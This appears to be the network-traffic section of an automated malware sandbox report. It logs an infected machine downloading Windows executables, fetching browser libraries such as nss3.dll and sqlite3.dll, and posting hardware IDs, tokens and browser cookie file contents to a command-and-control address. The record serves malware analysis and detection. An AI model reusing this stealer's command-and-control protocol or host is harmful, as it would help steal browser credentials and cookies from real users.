00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 00:38:58 GMTContent-Type: application/octet-streamContent-Length: 3167744Last-Modified: Sun, 17 Nov 2024 00:20:43 GMTConnection: keep-aliveETag: "673936db-305600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 60 30 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 30 00 00 04 00 00 a2 f4 30 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 48 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 47 30 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 46 30 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 80 06 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 48 04 00 00 00 90 06 00 00 06 00 00 00 90 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 96 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 73 73 6f 79 63 74 78 73 00 a0 29 00 00 b0 06 00 00 98 29 00 00 98 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 66 63 79 61 6a 6c 68 00 10 00 00 00 50 30 00 00 04 00 00 00 30 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 30 00 00 22 00 00 00 34 30 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 00:40:09 GMTContent-Type: application/octet-streamContent-Length: 1896960Last-Modified: Sun, 17 Nov 2024 00:20:28 GMTConnection: keep-aliveETag: "673936cc-1cf200"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 b3 bf 37 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 44 04 00 00 be 00 00 00 00 00 00 00 30 4b 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 4b 00 00 04 00 00 de 60 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c c0 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 a0 05 00 00 10 00 00 00 78 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 b0 05 00 00 00 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 c0 05 00 00 02 00 00 00 88 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 10 2b 00 00 d0 05 00 00 02 00 00 00 8a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 66 64 6d 61 77 63 77 00 40 1a 00 00 e0 30 00 00 40 1a 00 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 61 63 6a 6d 74 7a 6d 00 10 00 00 00 20 4b 00 00 04 00 00 00 cc 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 4b 00 00 22 00 00 00 d0 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sun, 17 Nov 2024 00:40:15 GMTContent-Type: application/octet-streamContent-Length: 1829376Last-Modified: Sun, 17 Nov 2024 00:20:35 GMTConnection: keep-aliveETag: "673936d3-1bea00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 24 01 00 00 00 00 00 00 60 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 90 6a 00 00 04 00 00 99 c9 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 b0 02 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 67 6f 65 6f 76 6f 76 7a 00 50 1a 00 00 00 50 00 00 4c 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 6f 68 70 65 7a 6c 6a 00 10 00 00 00 50 6a 00 00 04 00 00 00 c4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 6a 00 00 22 00 00 00 c8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJDHCBGHJEGHJJKFHIIEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 31 41 37 35 44 37 35 45 41 35 42 39 32 39 32 35 33 38 32 31 39 33 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 44 48 43 42 47 48 4a 45 47 48 4a 4a 4b 46 48 49 49 45 2d 2d 0d 0a Data Ascii: ------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="hwid"1A75D75EA5B92925382193------IJDHCBGHJEGHJJKFHIIEContent-Disposition: form-data; name="build"mars------IJDHCBGHJEGHJJKFHIIE--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AKJEGCFBGDHJJJJJKJECHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 62 72 6f 77 73 65 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 4b 4a 45 47 43 46 42 47 44 48 4a 4a 4a 4a 4a 4b 4a 45 43 2d 2d 0d 0a Data Ascii: ------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------AKJEGCFBGDHJJJJJKJECContent-Disposition: form-data; name="message"browsers------AKJEGCFBGDHJJJJJKJEC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJJEGCGDGHCBFHIDHDAAHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 45 47 43 47 44 47 48 43 42 46 48 49 44 48 44 41 41 2d 2d 0d 0a Data Ascii: ------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------JJJEGCGDGHCBFHIDHDAAContent-Disposition: form-data; name="message"plugins------JJJEGCGDGHCBFHIDHDAA--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EGIDHDGCBFBKECBFHCAFHost: 185.215.113.206Content-Length: 268Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 70 6c 75 67 69 6e 73 0d 0a 2d 2d 2d 2d 2d 2d 45 47 49 44 48 44 47 43 42 46 42 4b 45 43 42 46 48 43 41 46 2d 2d 0d 0a Data Ascii: ------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------EGIDHDGCBFBKECBFHCAFContent-Disposition: form-data; name="message"fplugins------EGIDHDGCBFBKECBFHCAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JDGCFBAFBFHJEBGCAEGHHost: 185.215.113.206Content-Length: 6759Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGHJEBKJEGHJKECAAKJKHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 47 48 4a 45 42 4b 4a 45 47 48 4a 4b 45 43 41 41 4b 4a 4b 2d 2d 0d 0a Data Ascii: ------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BGHJEBKJEGHJKECAAKJKContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BGHJEBKJEGHJKECAAKJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKKFCFIIJJKKFHIEHJKHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 4b 46 43 46 49 49 4a 4a 4b 4b 46 48 49 45 48 4a 4b 2d 2d 0d 0a Data Ascii: ------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------BKKKFCFIIJJKKFHIEHJKContent-Disposition: form-data; name="file"------BKKKFCFIIJJKKFHIEHJK--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJKFCFHJDBKKFHIEHIDGHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CAFIJKFHIJKKEBGCFBFHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 31 39 30 65 64 65 31 65 62 33 38 61 39 32 35 32 61 66 61 33 31 32 32 34 32 65 38 39 36 37 37 62 33 65 38 61 33 36 63 38 39 34 33 66 62 64 37 64 61 38 63 66 30 32 32 66 32 32 34 38 34 30 35 39 30 62 39 39 62 34 34 30 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 43 41 46 49 4a 4b 46 48 49 4a 4b 4b 45 42 47 43 46 42 46 48 2d 2d 0d 0a Data Ascii: ------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="token"190ede1eb38a9252afa312242e89677b3e8a36c8943fbd7da8cf022f224840590b99b440------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------CAFIJKFHIJKKEBGCFBFHContent-Disposition: form-data; name="file"------CAFIJKFHIJKKEBGCFBFH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKFCBAEHCAEGDHJKFHJKHost: 185.215.113.206Content-Length: 947Connection: Keep-AliveCache-Control: no-cache
